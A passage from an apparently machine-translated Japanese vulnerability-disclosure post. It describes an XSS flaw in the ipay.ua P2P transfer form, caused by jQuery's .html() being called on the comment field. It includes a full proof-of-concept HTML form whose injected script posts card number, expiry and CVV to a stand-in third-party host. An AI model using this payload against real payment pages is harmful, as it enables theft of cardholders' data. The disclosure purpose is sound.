国内の決済システムのペンテスティングを続けながら、私はウクライナでかなり人気のある決済サービスipay.uaに決めました。
ペイメントシステムによるPCI DSS認証と四半期ごとの
ASVスキャン (XSS脆弱性の存在を含む)が顧客データの保護をどの程度保証するかについて興味がありました。
私の注意は
www.ipay.ua/ru/p2pでのp2p転送の形式に
向けられました 。 入力データをフィルタリングするためのフォームをチェックすると、コメントフィールドに移動しました(デフォルトでは非表示になっているため、カーソルを[受信者の電話]フィールドに置く必要があります)。 いつものように、最初の検証のために、私はテキストを入力し始めました:
<script>alert('XSS!')
...そして、ブラケットを閉じるとすぐに、画面にメッセージが表示されたモーダルウィンドウが表示されました。

ページのこの動作の理由に興味を持ち、そのコンテンツに飛び込みました。
JavaScriptコードを分析した結果、次の部分が原因であることがわかりました。
$("textarea[name='comment']").keyup(function() { comment = $(this).val(); $("textarea[name='comment']").html(comment); validComment(); });
より正確には、入力としてHTML文字列を受け入れるjQueryコンストラクターまたはメソッドがコードを実行する可能性があるという開発者の無知が原因でした。
html()メソッドの説明へのリンク次に、この脆弱性を悪用する方法を実装して、入力カードのデータを盗んだり、このデータをサードパーティのサーバーに送信したりできるようにしました。
p2p変換のページの動作を分析すると、サーバー(デュアル開発者ファイル)でも検証されていないjavascriptコメントフィールドのコードを置き換えることにより、POST要求を使用して部分的に入力されたフォームを形成できることがわかりました
次のコンテンツを含むhtmlページを作成しました。

データをサーバーに送信した後、コメント用の入力済みフィールドを含むフォームを受け取りました。

埋め込みJavaScriptコードを実行するには、フィールドのコンテンツの編集を開始するだけです(jQueryライブラリの.keyup()関数のおかげです)。
残っているのは、適切に送信されたJavaScriptコードを作成して、フォームデータをサードパーティのサイトに送信することだけです。
私のhtmlページのコンテンツは次の形式を取りました。
<html> <body> <form action="https://www.ipay.ua/ru/p2p" method="post"> <input type="hidden" name="gate" value="P2pUpc"/> <input type="hidden" name="policy" value="1"/> <input type="hidden" name="cvv" value="123"/> <input type="hidden" name="amount" value="100"/> <input type="hidden" name="senderPan1" value="4444"/> <input type="hidden" name="senderPan2" value="5555"/> <input type="hidden" name="senderPan3" value="6666"/> <input type="hidden" name="senderPan4" value="1111"/> <input type="hidden" name="expMon" value="01"/> <input type="hidden" name="expYear" value="18"/> <input type="hidden" name="transfer-send" value=" "/> <input type="hidden" name="comment" value=" <script> $.post('https://someverydangeroussite/ajax/saveData.php',{ pan1:$('input[name=senderPan1]').val(), pan2:$('input[name=senderPan2]').val(), pan3:$('input[name=senderPan3]').val(), pan4:$('input[name=senderPan4]').val(), expMon:$('input[name=expMon]').val(), expYear:$('input[name=expYear]').val(), cvv:$('input[name=cvv]').val()}); </script>"/> <input type="submit"/> </form> </body> </html>
デモンストレーションを簡単にするために、事前にフォームにカードデータを記入しました。
ここで、このデータをipay.uaサーバーに送信すると、p2p変換用のフォームが届きます。このフォームに記入すると、被害者はコメントを編集しようとすると(たとえば、削除すると)、サードパーティのサーバーにカードデータを送信します。

したがって、攻撃者が自分のWebサイトにp2p転送の広告を装ってリンクを配置し、被害者のカードデータを盗むために、悪意のあるコードを含むページ
https://www.ipay.ua/en/p2pにユーザーのPOSTリクエストをリダイレクトするだけで十分です。
当然、私はこの脆弱性をサポートに報告し、開発者がそれを必要と考える場合、私に連絡すると答えました。
しかし、3週間後、誰も私に連絡せず、脆弱性は未解決のままです。
したがって、この記事の目的は、XSS脆弱性を悪用するためのオプションの1つを示すだけでなく、Ipay.ua企業の責任者にその可用性に関する情報をできるだけ早く提供することです。